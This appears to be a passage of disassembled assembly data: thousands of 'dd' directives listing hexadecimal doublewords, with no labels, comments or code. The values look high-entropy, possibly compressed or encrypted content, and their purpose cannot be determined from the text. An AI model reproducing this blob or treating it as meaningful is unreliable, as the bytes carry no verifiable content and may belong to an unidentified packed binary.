dd 1944ABBFh, 9008133h, 1DF7A0B2h, 7BA50Ch, 3DCB5FF8h
dd 0AE6B2272h, 82CF7C24h, 68D5F000h, 1C48346h, 0D4086F20h
dd 80FC936Dh, 0DD0CB5C8h, 5BA0973h, 6CF52C76h, 19B401C9h
dd 435696B6h, 52D7CED5h, 9CA02CFCh, 0BB1ED521h, 0C56A6B00h
dd 11DE4E33h, 0C24B0046h, 44365B7Fh, 1400D818h, 3891BD55h
dd 73F298Ah, 56C196D3h, 1944108Bh, 503A3316h, 0D04F94E0h
dd 0E88100A4h, 0D817EA5Eh, 0E3F61384h, 5708405Dh, 4B32A85h
dd 58601224h, 9BAF7100h, 67C38Dh, 9EBB0561h, 0BE08976h
dd 0D194A550h, 0AA585DE2h, 0F8281E28h, 0B1D9E140h, 7C83CB33h
dd 0AFF001BCh, 0BAADD47Ch, 9224F489h, 34EBC000h, 0E5E0966h
dd 17F30798h, 80BE77ACh, 33A9B7BDh, 0EBAFD700h, 0BCA59484h
dd 7A3A057Bh, 0D29E4Ah, 8E653190h, 3B24E7ABh, 0CE00BCE8h
dd 0D35D3682h, 0C4CC00FDh, 46084B15h, 88004DE5h, 90B89A27h
dd 1126C5h, 8B9B8E75h, 0E1C2B349h, 0BF28B890h, 311E90DCh
dd 0CC7B1D7Fh, 3DAEDEA8h, 7B81A00h, 328860h, 398E81EDh
dd 0A165635Bh, 6ED2550Eh, 0F59E206Fh, 971A64Ch, 4F210D3Eh
dd 299AB402h, 0B0133510h, 0DD040004h, 0A8480BBDh, 15075816h
dd 554295C3h, 8373EB40h, 0C463501Fh, 0D8FD003Ch, 98BD6ED6h
dd 0DA00A879h, 824F85A4h, 0B2F154h, 290C56BFh, 279BEBFDh
dd 1673910Ch, 2D0FFh, 780D8DCDh, 7C58FC0Fh, 0E009270h
dd 607A9445h, 0A818C46Dh, 0A15DACh, 86439FDAh, 0A2BD5662h
dd 246BDD00h, 57BF3B7Fh, 0ACF70067h, 0F599284Bh, 0E4E6CE50h
dd 80DAEF00h, 175F7CA9h, 479C1CC5h, 0B34C48Eh, 0E32D01DDh
dd 14DCD9D1h, 0B78F0082h, 4C434B5Fh, 0E005C2C9h, 696D2FE9h
dd 8D2B9C02h, 938001D8h, 0C750242Dh, 0E3982600h, 940F27DCh
dd 730B0111h, 5F77041Ch, 64482053h, 0CB34B501h, 7EAB9099h
dd 0FA22F4h, 5E714E31h, 0EE91C723h, 47EF211Eh, 4D050B6Eh
dd 9500B0CEh, 0C72968BCh, 873000DEh, 42557CC6h, 7450D4D2h
dd 0F776E59Ch, 0BB018FF6h, 0B2F2E97Bh, 2900D324h, 0A328060Dh
dd 74F2B752h, 2E02E67Bh, 0C366FAB5h, 6028403Ch, 59D3A3Eh
dd 50E29C00h, 0C94D7B17h, 83F0BE00h, 6B61216Ch, 49CBE698h
dd 790BD8E8h, 0F0200680h, 5FE9A9D5h, 70FD88A8h, 4D1B0B00h
dd 0DD302483h, 71C200A1h, 7D8DDFFAh, 0E7503B27h, 62162B96h
dd 0EBA7AEh, 89AD6AE2h, 9502BC99h, 0D18A3E70h, 7B40C91Fh
dd 76B84Bh, 0F9589DCCh, 6E773996h, 89DF7E00h, 4BD5E238h
dd 3EFE0005h, 0E5BEEC36h, 7B0E6C13h, 0E0890A9Eh, 0D6440960h
dd 4B9A000Eh, 0E323C48Dh, 0D1003825h, 0D6D5EA7h, 7EF28370h
dd 79F258h, 0CD496AC6h, 38F58BDBh, 0DF8DE600h, 978685FCh
dd 5CB036h, 0EF4D76C4h, 673E7D5Fh, 0C303C100h, 0ADB49525h
dd 0F3F48Bh, 50044228h, 0C481CCE6h, 6FF448h, 88AE7290h
dd 70961DDh, 4EFD927Fh, 95D600EDh, 0C3134AE5h, 0E800CC36h
dd 5C335B70h, 0E49C0057h, 11FC37B2h, 0DD0210FFh, 414C14ABh
dd 0AEACE0C6h, 5B8905DEh, 0C234F93Bh, 0C482DBBh, 0D7286E6Dh
dd 1900BCB8h, 0BE17D465h, 0F378A06Bh, 13BB450h, 0EA983010h
dd 8E543E11h, 1C85E22h, 0DB2253BCh, 30168C7Fh, 0AB006408h
dd 0A24B1280h, 3691381h, 254C92B7h, 5DA11AF0h, 55B3F42Dh
dd 36BA7F00h, 6D34E430h, 0BDE00CFh, 0B9469296h, 621FF9DAh
dd 0FCD345h, 0EF7FAFB7h, 0B82EFA18h, 3E2D0058h, 0DB9C924Dh
dd 7200EDB2h, 0B59E2CD5h, 742F338h, 0CD900C69h, 0E0009F15h
dd 65FA44Fh, 7F793FF4h, 7314F400h, 0ED9EA072h, 396F080h
dd 15539CD6h, 8DE340h, 243BCC96h, 410082A6h, 58F904F8h
dd 6CC253h, 53A1981h, 16ADBBD2h, 7FB0CD00h, 70DEE437h
dd 781E2FDh, 4A8D35EEh, 9C0C00DAh, 0D97CC539h, 98B8A360h
dd 78B8CEEBh, 348E00A8h, 27F7089Dh, 0AD06ACF9h, 0B4741463h
dd 6ED13B88h, 17BB4F00h, 5E80F78Fh, 31D09F1Eh, 0A87F6580h
dd 0C9A4CEh, 0D9B00E49h, 1D3D0F4Bh, 5002371h, 829C717Dh
dd 1F58655Bh, 80FA436Dh, 92551EE4h, 0D31CC1DFh, 0B6034204h
dd 3E9B6002h, 0BF000AA0h, 4932A4FAh, 3F011D89h, 0B8770C6Bh
dd 0F8F41B21h, 0A77EB2h, 0DAD3B09Eh, 7C4E58CAh, 11D5D09h
dd 5C805D82h, 83876C3Ah, 14CFDF01h, 0BAC225A9h, 0B8AB20E8h
dd 4B9E1C47h, 0C238082h, 0BDBC8D37h, 753EA73Ch, 84EE2E03h
dd 9F7A6905h, 0B23045B1h, 4B929840h, 0A4CF5122h, 10D6FE0h
dd 2480859Eh, 0D4A32A10h, 0B8059629h, 0C575565Ah, 51D09DC7h
dd 6F5EA56Eh, 0F039E2h, 56DDFEF9h, 8854A3h, 0E8DBFBBAh
dd 66BE0E61h, 8967C00h, 0FE4CC3A7h, 79920052h, 0AE6E5044h
dd 4900A378h, 0A9A73B23h, 3BE5BCBh, 8D5AB1Ch, 20078EB5h
dd 0A785E6C0h, 2E90EF77h, 242A3ACAh, 1222CBh, 188D0636h
dd 733C8A5Bh, 62FA0032h, 0AF4E0E4Ah, 0FF31EAAh, 0C214087h
dd 0B0C4EDB1h, 0AC713Fh, 3763CC3Bh, 86479h, 0DFEC3A4Bh
dd 6C7EA407h, 0CA1C20EDh, 9BB8FB00h, 3219B517h, 0D273DBh
dd 870898BFh, 41F97E7Ch, 4F2B2A00h, 6343C3E1h, 0CA7A00B2h
dd 0F212E3A8h, 93009B31h, 0DE032A59h, 3257F9Fh, 6F04F035h
dd 46C832DBh, 8D0A7215h, 0AC986507h, 0F5389300h, 0F6332DEDh
dd 4B90018Ch, 1875268Ah, 0BC0DD476h, 0F547E828h, 57C9AE00h
dd 2C5FBB87h, 0B8390078h, 0C309456h, 0C506DE4Eh, 0E9A7ED4Ah
dd 850412D0h, 8EC8001Dh, 0A2EE1306h, 0FECB8D00h, 0C8543526h
dd 377700AAh, 3BDBC90Bh, 7400C67Fh, 0E51DC422h, 0C0BD8D87h
dd 27F6FD4Ch, 8900B9FCh, 167E52EFh, 739C04DFh, 9AD6036Ch
dd 586B8FB7h, 0A5C96AD0h, 2446DB00h, 4BC57C70h, 0E82000E3h
dd 0E7D1E571h, 0B33A4A6Eh, 45FD00A6h, 11628ED4h, 0A8A0029Fh
dd 566F329Bh, 86BDBA40h, 0A7B7CD00h, 0C3CFE731h, 39E100B3h
dd 3343D258h, 17003265h, 37B708Eh, 6826269h, 1ADDD3A1h
dd 0E7005094h, 0EB76C352h, 3D8B4355h, 170938BDh, 180067F2h
dd 0A5BB3499h, 0B0DEA132h, 0B00F076Dh, 0A8C06F75h, 4BCDFF00h
dd 0F3D50288h, 589F600Eh, 4F99D9BAh, 1F706300h, 8589E1D1h
dd 8BB00091h, 0D5C509ECh, 0CB004C34h, 9D976C7Dh, 0E96576Eh
dd 2BFC5CACh, 6A1FE0A0h, 370091D2h, 8B7502EBh, 179A8188h
dd 6F06CBh, 28B2A823h, 0E200D454h, 28A46A9h, 50A12BAAh
dd 0CC885Dh, 0CBDEC321h, 5FDA6C27h, 973B801h, 0FC537C51h
dd 826AC4h, 128FE877h, 931091FBh, 0EF6C88C0h, 445BB7h
dd 0C3E93817h, 0D984B6EEh, 0C0FE7706h, 0E8E1F6h, 25AFC242h
dd 3B248715h, 3C1A77E8h, 4080DD95h, 3AC84CFAh, 6C071D97h
dd 613E9EBBh, 20BC1395h, 3B094BF4h, 20C590BEh, 31941608h
dd 0F3DA0028h, 37565DBCh, 97529B68h, 0E7A800BCh, 8A579463h
dd 0A92E0017h, 8F44387Bh, 54006430h, 0D8AFF5DFh, 30FE2252h
dd 0DAA8CA75h, 70F26C48h, 0F5E1505h, 4483333Ah, 21C2F81Ah
dd 3F5507E8h, 0C0A9FF46h, 27EE10D2h, 0AD019A18h, 7B50BAh
dd 0A888873Fh, 0A63B9B17h, 311C1B00h, 4140A747h, 739C00FCh
dd 0A81870B7h, 0DB00EBDAh, 1A7F42D6h, 64E7D8h, 0A1721EEh
dd 3FFC9E93h, 0C7D60C0h, 3ADDCFD4h, 1700F3C7h, 19A3FBA8h
dd 8C02358Bh, 9FF80653h, 0EB1040ABh, 494006F4h, 40A52108h
dd 3A1245F2h, 4403853Fh, 0D014B9E4h, 7815D0h, 1B879059h
dd 0E83AD1A0h, 6542EE14h
dd 58D80BCCh, 627B868Eh, 173E0010h, 0CA794DE2h, 55003C53h
dd 0ACC172D9h, 6AAB11h, 0B5EAA7E1h, 0FF4EA80Bh, 0DD81A500h
dd 97E2CFA6h, 0C8CC01F6h, 5F71772Dh, 3EE44024h, 4A000190h
dd 0D33A6395h, 96E0EFh, 67D9F0A7h, 9C8175AAh, 0A1141509h
dd 83788052h, 5BDE0Fh, 0FE888610h, 29CBBCE2h, 0ACF70A00h
dd 85D1E6D6h, 0E260F687h, 1C3C009Fh, 0CF9035F3h, 24007822h
dd 0EDB926E4h, 0A466EA9h, 0C7AA8177h, 8EE5008Ch, 2940B00Fh
dd 1BC02491h, 0C09FC2F3h, 0E5D46F11h, 64404498h, 1D7A0035h
dd 0BADB76E1h, 0F1259DEh, 205C0A63h, 621C700h, 3EF86BE7h
dd 3606D08Eh, 6E72DE73h, 0B7D10200h, 42792881h, 0D4760261h
dd 0D82C197h, 7BBEE840h, 95AC7A00h, 1255FB22h, 0A565005Dh
dd 8C0C8E36h, 5A480B50h, 297E004Ch, 0C842B582h, 848B1210h
dd 4E710044h, 556D79D2h, 53D99501h, 8F0C12Bh, 0E4F593C5h
dd 8401420h, 0DD02A963h, 6481D00h, 4886D1A3h, 570B90ABh
dd 2780A61Eh, 62816A0Fh, 0F54E5100h, 0DA1716CEh, 962C0098h
dd 0DF4B9F1Bh, 7B004656h, 0A9A89A30h, 64415Bh, 0FDA229FAh
dd 0D26FC359h, 82A6E038h, 0DB14BEE7h, 75F0401Eh, 0DCEC0035h
dd 0AB34EEA2h, 47E2BF68h, 0D13AC00h, 504C437Ch, 9D7D0010h
dd 0B9690F73h, 0C4488A9Eh, 0F9DE00DAh, 2329135h, 1E75F42Fh
dd 43EE8354h, 2605DFA0h, 0A33CD0F7h, 0BB0090B0h, 319EF73Bh
dd 193E4Ch, 45A5C5A9h, 6DF06CA4h, 8620FC0Fh, 48001387h
dd 42CAB304h, 623B3E9Ch, 4091391Eh, 6C1355CBh, 0C700D68Eh
dd 0F185D51Dh, 1CB2E7D0h, 40A3C8EEh, 3DE06F36h, 57B8079Eh
dd 0FD87301Fh, 2CFC2E40h, 24ECE4F5h, 0CE4106h, 0AF70E5C6h
dd 0A004B13h, 1B0CABA3h, 0EC8F27h, 0DC0F413Dh, 67028B7Eh
dd 0E434A200h, 0DF639CD3h, 0E8850025h, 991BDA51h, 210B71D2h
dd 80F659E2h, 60654F20h, 1A1628CAh, 0DC0E01B4h, 102FC21Dh
dd 83A3E048h, 0C3063Ch, 9E4F8018h, 17922198h, 1E5EEE1Ah
dd 9CD9C0C3h, 19A2027Eh, 6881E126h, 1A3AD500h, 4817AD8Eh
dd 4B77ECD8h, 4B9FCACh, 2D5C604h, 0D9FDCD0h, 0CFAB0147h
dd 758BEFFFh, 0F5902094h, 0E622DE15h, 379D8818h, 0B8738050h
dd 7E60B7FFh, 26889208h, 0FDE131EFh, 0C47C2538h, 0B731BAA6h
dd 0D7C6603Eh, 0F98D2443h, 410023F3h, 7FF8F47Dh, 0A4FFB005h
dd 88476887h, 0E990D123h, 3BDF5F96h, 93A9583Bh, 412424h
dd 0F71A2DCCh, 6800CB6Bh, 36DC305Eh, 29B825h, 448181Fh
dd 42EF3449h, 3B2EF900h, 0A292F44Ah, 62C602B7h, 151D949Ah
dd 2D7740DFh, 9952002Ah, 469E9F81h, 0B000FA89h, 50B6FC92h
dd 28CC87F6h, 0ABC8816h, 44038F24h, 0C0269D88h, 807EB65Ch
dd 0C133DFFFh, 0F00857h, 5CE707E9h, 0CA7F5F58h, 950086F2h
dd 6BF2DFF6h, 7352CCCEh, 0FDE301E9h, 0BFFF0EAh, 980FF06Ch
dd 35A460C0h, 6C2B0E8h, 13F0EB90h, 848B38D9h, 0C304E7Dh
dd 40224071h, 8D2340E0h, 13FB3B0Dh, 0E8D829DFh, 0ACBB00D6h
dd 0A41FB7CFh, 0C8E88807h, 0B0E2C9C0h, 7AC9FCD6h, 0CE2500F3h
dd 491B29BCh, 330FB295h, 19E4DD9h, 725970DAh, 5B3E7080h
dd 746C1766h, 11063B00h, 29E6F2C4h, 1790323h, 0CF4FB79Ch
dd 0ECA67E81h, 35000639h, 21B2554Dh, 76BDC4D7h, 0F640383Ah
dd 6861D500h, 497BA003h, 0EA858207h, 6AA0BC47h, 78189294h
dd 48FA7Ch, 2BD744EFh, 0BD62C827h, 0A716B80Fh, 3D9160D3h
dd 7EEE3Eh, 9C0F5C82h, 31E184B2h, 0D38A5A07h, 0EED09DEBh
dd 51519h, 0BFA66BDCh, 23D44814h, 316A6900h, 0AE4A7AAAh
dd 7BDD078Ch, 0B1F46B4Bh, 0A11849E2h, 785704C8h, 4006F10h
dd 802B3C3Ah, 639CDDEh, 270938D0h, 0B6002816h, 7E564A74h
dd 35AE24Fh, 0A6714DA3h, 9C83C54h, 460401C6h, 14BAB607h
dd 445B9644h, 0D24855C7h, 94D8A647h, 0EC1128BAh, 290E112Ah
dd 2110F911h, 2BA23BAEh, 222A1A22h, 52501269h, 5744C814h
dd 72228416h, 11864219h, 62282FD6h, 14275050h, 0DB22846Ah
dd 119E422Dh, 1E221D50h, 5772DD07h, 848B8A67h, 0C280D0A8h
dd 0F636D9h, 1CBC58AEh, 693FE179h, 3C4E7200h, 0BFF02DD4h
dd 1FD80051h, 997D970Eh, 12032BA2h, 247EE50Ah, 0F4AD05Ah
dd 0A6CC078Ch, 0C013C4AAh, 0F1A53422h, 0FE0D0901h, 3CAF891Ch
dd 0BD75CCh, 0E19179CEh, 0B57B8516h, 0F1E9700h, 0D46A703Bh
dd 0A0EF2E0Ch, 8A8F3893h, 8960A171h, 83118D6Fh, 7EB00900h
dd 48BF7896h, 3C6C00D3h, 0D16A8CE0h, 8300D224h, 225C4BBCh
dd 532C8Ah, 99E309E1h, 7F2D6CC8h, 8FEC660Bh, 49A90041h
dd 7CBACF1h, 918B3D39h, 5CFEA15Ah, 0CD7CD85Eh, 754DB4Ch
dd 0E1551ED9h, 2C97A00Fh, 0F3493Ch, 8AD3F0FEh, 0D9D157BDh
dd 0F63D4572h, 56280D2h, 27C4C650h, 0CCD43089h, 5F590928h
dd 5BC56404h, 70900F46h, 0C6F8D9h, 3D6FE618h, 1EDA1A07h
dd 6499D100h, 0CF8B34BBh, 1EA5FE3Fh, 404C2696h, 0C233883h
dd 5D071DDBh, 0D1ACBA0Ah, 31E2EB90h, 0FBC21FFDh, 2962C024h
dd 5577FF50h, 0F5358500h, 0EFFA4E2Eh, 90C60148h, 8C789919h
dd 449BE3B5h, 917307B0h, 4AEC4F00h, 0CBE65839h, 93EB0011h
dd 2F21321Dh, 1F0114FAh, 0EAA52D55h, 0BAE05796h, 0FE4B013Bh
dd 9151EF66h, 0EB70D058h, 0D45BE503h, 98FC18F7h, 279E73h
dd 0B1B4D855h, 0D3840BB8h, 0C4B7CE00h, 237F74FBh, 6444008Eh
dd 0E760A7F3h, 3AB85B46h, 3FF77E1Ch, 0E542C4C0h, 200883h
dd 48A27C6Ah, 0D7278AC7h, 920C5F00h, 0E663EDAFh, 34DE00C6h
dd 47A4178Fh, 3CF69C0Eh, 0BF38B800h, 31AF26BDh, 0D1800990h
dd 0A800C40Dh, 74133F67h, 0C84A0600h, 4CCB8153h, 0BB5600E5h
dd 60F20139h, 1B00E489h, 6CFDA062h, 1DE7D861h, 0C080ED5Eh
dd 5C3E1659h, 4D00E598h, 5A546BE2h, 1F399230h, 52D3EFBFh
dd 0CC5C000Ah, 53A465ACh, 699C2600h, 45BDDDF7h, 36B5C24h
dd 3E90FE01h, 348713E7h, 0A0C0E584h, 0CF6FE9A9h, 57210007h
dd 539F946Dh, 8E0E7CF1h, 80AC4C5Bh, 0DBA358FDh, 0D8D700A0h
dd 0FB356BDh, 533D54D0h, 0E0A6B284h, 0A98B4038h, 47B90131h
dd 5A6C1CB6h, 0EBD0430Fh, 6BF621D8h, 4ADC7600h, 0C6209206h
dd 0E6597A11h, 555B0048h, 491FE4ACh, 0BD3F7898h, 0C390D427h
dd 0D030C100h, 38B9FA50h, 9CA403h, 0D7F034DCh, 683EB090h
dd 0E7F87600h, 0C45D5179h, 22D83AC7h, 45BBB18Ch, 0BA00252Ah
dd 0AB5C6407h, 7C946289h, 1BAA008Ah, 8E332B67h, 1501FF6Eh
dd 0A7F29193h, 83E05DE5h, 318904Dh, 8C0630CFh, 10980C5Ah
dd 68E2A4D9h, 0B320E000h, 345128EFh, 5C70098h, 369DB1BCh
dd 3F7730CDh, 84B6BE00h, 0E07E347Bh, 0AE460497h, 9F8857h
dd 0CD2EDBE5h, 0D8EA004Bh, 0BBB8E174h, 0D20F3EF3h, 0E08BFC43h
dd 0CEF1264Fh, 90614CAAh, 942928h, 40B744Ah, 0E0F88B7Bh
dd 1D48648h, 24520DC1h, 0D6314E02h, 3BC080E2h, 0F8B9B6h
dd 0A1366254h, 0D0BE182h, 9057E926h, 0C8459401h, 1D21CDF6h
dd 7D0CB140h, 0D03849E4h, 0FC835C00h, 0BB7EB111h, 0AA6B6304h
dd 2C818BF3h, 8510C370h, 34E8EF68h, 0A1625D00h, 37E06684h
dd 0B8B4008Ch, 0EA26F107h, 1200210Fh, 0B1C254DAh, 39A16Dh
dd 0BA1FF2DFh, 15FD90D0h, 3FCED00h, 9846D16Ch, 79A8003Ch
dd 5C11ACC2h, 57F0885Dh, 0AFE82E00h, 2365CD0Ch, 0DEA0076h
dd 0A9376FBEh, 3AEA0F15h
dd 0E491DF03h, 0B01249B2h, 1FFD16Dh, 921BD354h, 6F812E63h
dd 60853E82h, 0F4D87A8h, 737FBB0Ch, 0EC926A2h, 992E1CE8h
dd 881CC491h, 0D923100h, 1D053E39h, 40BF46C1h, 24279AC9h
dd 0CC90B201h, 0E7F6E02h, 826A8FDBh, 2062D994h, 20AADEA3h
dd 7203D898h, 0E037B1E8h, 6BC8900Ah, 87A52E71h, 0CCCE1840h
dd 0E57DB492h, 892E4Ch, 8C80084Bh, 79906Fh, 0A07EF355h
dd 73F402CAh, 0D6CE5E00h, 0F86B5F9Ah, 9E580070h, 6424AC20h
dd 0BC580A3Dh, 0F0BB0384h, 0F99AA96Fh, 8D4F3F5h, 59FC0082h
dd 0A138DD8Ah, 8F0C769Dh, 42A0925h, 0A07FA7h, 69F3C2D6h
dd 0C662C7D4h, 0A9FC4605h, 6A81151Ch, 0E08E534Fh, 5180BFDBh
dd 0D3ED0256h, 648DCB00h, 935F549Bh, 3B7230h, 2646EB14h
dd 0FFE91EECh, 1EB4755Ch, 70C02757h, 6C9944AEh, 6D2A00B1h
dd 0D5C485D3h, 0F070678Ah, 0CCBB3616h, 926FA405h, 1EAAB80h
dd 0A93C175Dh, 12C9000Bh, 229C8841h, 2197CE00h, 169FCD47h
dd 6A601F28h, 4F9005Fh, 44E5EF09h, 0D17481F2h, 0D0C96D05h
dd 0C0AA8B0Bh, 63A28DCDh, 0DEC531Eh, 6D9CAF00h, 0E936208h
dd 0D0D882EBh, 84ACC1E0h, 5F0180E3h, 0A8B5D54Eh, 93FC1751h
dd 53CD007Dh, 85BC3B33h, 440002CEh, 99410DC5h, 485CDE6Fh
dd 73002974h, 82DD77ECh, 0E404CED2h, 0E1A3B7F4h, 7613CCC0h
dd 8D71480h, 0DE00A0A5h, 0D91531CEh, 0EA0F19F0h, 0C05ABBD1h
dd 28D4D55Bh, 33490021h, 4891B345h, 4A17E606h, 0A800899Eh
dd 0F00B8AF5h, 10D7CEBh, 944837C7h, 3071E16Ah, 4F007410h
dd 90998DE2h, 610891h, 0ADC03772h, 0AD6D233h, 3F50BB00h
dd 97BFBC9Fh, 0A7D80064h, 63761270h, 0D300291Dh, 5DA59B39h
dd 3E8CC31Ch, 2224BC37h, 0D6D10174h, 60332364h, 41C15DDh
dd 6C479D07h, 0B170E292h, 8C4D08h, 6AD1E543h, 0F456A009h
dd 0D4BE9B00h, 0B932DA73h, 0F7AE0E95h, 7AC60D07h, 2E00D823h
dd 27CC9025h, 79CAE7h, 398AF6D8h, 73186769h, 0B8427500h
dd 114D9771h, 0C23106A1h, 5CC67441h, 2237DF01h, 1D79ED2Ah
dd 824520h, 533B7660h, 2752D22Ch, 981EBA24h, 8033470Bh
dd 74B9D03h, 0F7E30103h, 0A5DAD1C6h, 622D8B9h, 0A2338E09h
dd 30500C1Eh, 5AE30A2Eh, 1E46682h, 0EEBD8B9h, 185CCCF8h
dd 6C6248h, 0B18815E5h, 90655FCEh, 0E3020038h, 0C80FCB42h
dd 0E90CD1B2h, 0F04346DDh, 0C37A3D72h, 3C7A080h, 0A7CE36D9h
dd 0B051EC00h, 6CEFDF98h, 117FC64h, 8C493CD5h, 818F408Bh
dd 33A8BD58h, 9A20626Ah, 7D5B1F10h, 2D2740D8h, 0DFB1F955h
dd 0C60D9D18h, 32658931h, 0CA783EFFh, 1D22BD81h, 30B3FC3Ah
dd 0C7A4402h, 8014FD1Ch, 41E1F690h, 3A8C043Eh, 0C0D0B1C5h
dd 25C8358h, 842E6892h, 0D907FC6Fh, 99E7DC92h, 62EA3E20h
dd 9C7424EBh, 41281CD8h, 24B8D0D4h, 2390400Bh, 0A55832B2h
dd 0F7007D98h, 70B046E2h, 586F62h, 3E7AFE41h, 9A0FD5B4h
dd 3DE75E00h, 1F911A37h, 56732F55h, 280785F0h, 0C80A9DA2h
dd 8090A812h, 0E567F7CAh, 7C72FFh, 0DB4777F2h, 858A601Dh
dd 0D6A98100h, 7904EBA6h, 0BFF001ACh, 1674B825h, 0D049F4C1h
dd 933D8AE6h, 2D9F009Ch, 58F8E824h, 0E62F45Dh, 0C6258035h
dd 0B380FA49h, 0EA9869D8h, 0F2B69700h, 1F7662B0h, 7DE0B86h
dd 0E000459Ah, 1CDC0378h, 17605F16h, 0E3CF991Fh, 46308251h
dd 0F448C872h, 63AFA61h, 0A9F06B71h, 3900186Ah, 7E235BB4h
dd 14388222h, 0B87D249Fh, 3C34B900h, 4CAB3A6Ah, 1100B390h
dd 9230B7E6h, 391F358Bh, 0AD80775Fh, 0E468195Dh, 0EE1D882Dh
dd 2664940Dh, 56E9B07h, 2180CF05h, 9CD24Dh, 3968427h, 1293C2E2h
dd 4A77EB00h, 9E1C18F4h, 7DC30013h, 0E945AED6h, 7B757290h
dd 84381B01h, 0C678E574h, 0A7F71F0h, 2F7CC28Ch, 0DE3B80D4h
dd 22B5B146h, 0AC0333FAh, 0B3FB042Ah, 9B10B8FFh, 0CBB4007Eh
dd 3ECCC6A6h, 5500DF09h, 7B7FB01h, 1D8E1066h, 528BB9A4h
dd 1C852CBh, 0F0478A3Fh, 5BD440A0h, 0E6001929h, 2285AED2h
dd 2658B7B4h, 14C2AAh, 73174F0Bh, 0A81E0393h, 7DD2DC8Fh
dd 55448800h, 5895F4A2h, 403B06Fh, 0F67FEEA7h, 0D69B2100h
dd 9856A399h, 0F463002Ch, 0BA4AF265h, 9E019021h, 2ED348EFh
dd 682C1AF3h, 279DD60Fh, 53D4E00h, 4158E03Bh, 204889h
dd 7B3A6474h, 75B71B6Ch, 95280082h, 2BD7D51Eh, 0E01FF09h
dd 74CFA543h, 0B4302F71h, 3D9B2C45h, 87B3008Dh, 12CAF8F1h
dd 4DC06209h, 27480E36h, 0B080D141h, 9074566Dh, 0DAC8A0CFh
dd 66E70E93h, 98C015FFh, 7C49FD73h, 0A2726h, 44679205h
dd 48F184CCh, 0C400D823h, 9615F82Dh, 0E1037512h, 0F0EE9019h
dd 9164D879h, 996D0016h, 0D7D85A48h, 0E51EA913h, 0DD00CA19h
dd 0F6A65E6Ah, 2D0E04A7h, 804A6B1Fh, 4E2FC770h, 0D4527260h
dd 3F19907Bh, 0C82ED04Ch, 0DC4A8014h, 949D1FC3h, 2D5D790Eh
dd 7107E065h, 1C4C9EF7h, 4068EBF3h, 98168E8Fh, 20988A41h
dd 3341D00h, 0C2D51CFEh, 8EEE007Fh, 20E2A5B5h, 25009C8Ch
dd 7E0FE150h, 413929Dh, 0AE2131C2h, 6000C77Fh, 0F55A4AB5h
dd 0BFFD0A0h, 4742B900h, 203079ABh, 0A4750008h, 0DA9DB02Eh
dd 0AE00C85Fh, 23428A5Eh, 60C5EB18h, 4CA6E01Ch, 0A048CDF0h
dd 0ED4E00DCh, 98275632h, 28C30478h, 909EDB22h, 3D8BA654h
dd 37386A09h, 805000F8h, 3C3F93FBh, 0F8FEDAEBh, 2383001Fh
dd 5BE8AFADh, 0C028E97h, 0F053B6C0h, 3919C04Bh, 193539D2h
dd 6D3326h, 0BD0C4E4Ah, 3A00C342h, 0A61DA707h, 1F0B6A4h
dd 8290BE25h, 20BB474Eh, 3900F1A9h, 450B5034h, 5385D2h
dd 0DE29588Fh, 0EF9F60A8h, 8352C828h, 6316B3Eh, 5470041Ch
dd 1B5D00D0h, 1AC5F560h, 5C0090DDh, 6EA181BAh, 0E64E554h
dd 656BDB7Dh, 50768EE7h, 0FAEB4DDh, 2453D81Eh, 0A3A869C0h
dd 3D554DA1h, 0EC002CCBh, 0E179231h, 41006E76h, 0FC08D16Ah
dd 0EA684D1Eh, 70CFE78h, 46067B7Ah, 22CE011Ch, 75BC4005h
dd 9F606D4Bh, 0BBA5C9F9h, 0FF4900DFh, 56D039DDh, 79008F55h
dd 663D20D7h, 94EBC5h, 616A67A8h, 0E54EB6F7h, 2E9C00BFh
dd 48B70DC1h, 0E200900Ch, 117FD4F9h, 2204E780h, 9F2E2BE9h
dd 66C0A4h, 0F11AB6A8h, 83E76BE1h, 12999158h, 0CC12EEDh
dd 0A7E82DC8h, 0C0CF00F3h, 0A1EF764Eh, 20C07D43h, 0D8170FF7h
dd 404D002Fh, 1B851A31h, 514183A1h, 0F192E3F2h, 0FC28469Ah
dd 1DD0A804h, 2B2FC0C8h, 70E0E40Fh, 574A8B00h, 2211F4D9h
dd 0BB97009Bh, 21C09ABh, 0E8015529h, 86F22684h, 0C064F6C6h
dd 9C444C0Ch, 71601DCFh, 4FC7CAD7h, 1B109816h, 78D12418h
dd 0BD7540F5h, 66240972h, 520004B1h, 8111131Ch, 75EE0047h
dd 4548044h, 24002092h, 0C6431F3Fh, 0C57FCB1Ch, 0FFDBCD0h
dd 8E0256D5h, 0E08207B1h, 985897C2h, 880D4124h, 882B1280h
dd 3D5696AFh, 98015816h, 4340D62Fh, 0EC0C7183h, 0C2207757h
dd 0EB14041Ch, 53D734h, 284E6493h, 9D4FE0Eh, 43F28474h
dd 0FB992081h, 0FC06D488h, 807F0300h, 85915604h, 42FA008Dh
dd 387D3F1Fh, 410093F4h, 0C512F854h, 0B0DC4DDAh, 886F1238h
dd 0CBF0C8A8h, 0F9A3CF00h, 3DD6C240h, 90D00F9Dh, 0BE608A63h
dd 238B4370h, 57004DFEh, 0F9E9657Dh, 16277Ah, 0F4343059h
dd 0E78CFB6Fh, 3C57C01h, 0BA1999C4h, 0FEE5C0h, 520A852Fh
dd 1DCF391Bh
dd 30CD5F00h, 0B01FC102h, 859D03F6h, 61526463h, 0EB1E88F0h
dd 6272AF0Eh, 0B6D5E006h, 3D1482h, 9CA18940h, 0A8688135h
dd 0BFCA0407h, 8330574Fh, 30B77EEh, 8D40D94Ch, 28B0BEA6h
dd 0C269E6EDh, 0D0FD804Eh, 12EF66Fh, 0D2329987h, 0C5F55D82h
dd 51B0E4C7h, 5ECDFD00h, 0E393A6Bh, 0E57500C1h, 10D1330Ch
dd 6900BD56h, 0F315DA96h, 0E47B1Eh, 652A8577h, 4D7E1DA1h
dd 0AD00BE90h, 6255ECDAh, 48D26D48h, 0BE00D5E0h, 4D35738Ch
dd 4B0070D1h, 0D02DFE5Fh, 1936639Ch, 0C93B1692h, 0D2E8D79Ah
dd 0AF44BE3Ch, 777012h, 74C60D5Dh, 2F42A7A9h, 0FAC1BA00h
dd 6CD5D9A4h, 7311065Fh, 6057E0B7h, 6D9AFC1Fh, 6E5EB900h
dd 7D3892Ch, 1AE0CFCAh, 2E24405Ch, 0A008FFDh, 0A5546D61h
dd 0E4C59333h, 52940FF0h, 0A1EFFC7Ah, 5EA0992Fh, 3CED5A10h
dd 63255C00h, 0E139B68Eh, 589A00C0h, 5E7085CFh, 5C006FFBh
dd 0DB2BB208h, 28BEDCh, 9CE7CD88h, 25572A69h, 1B617A0Fh
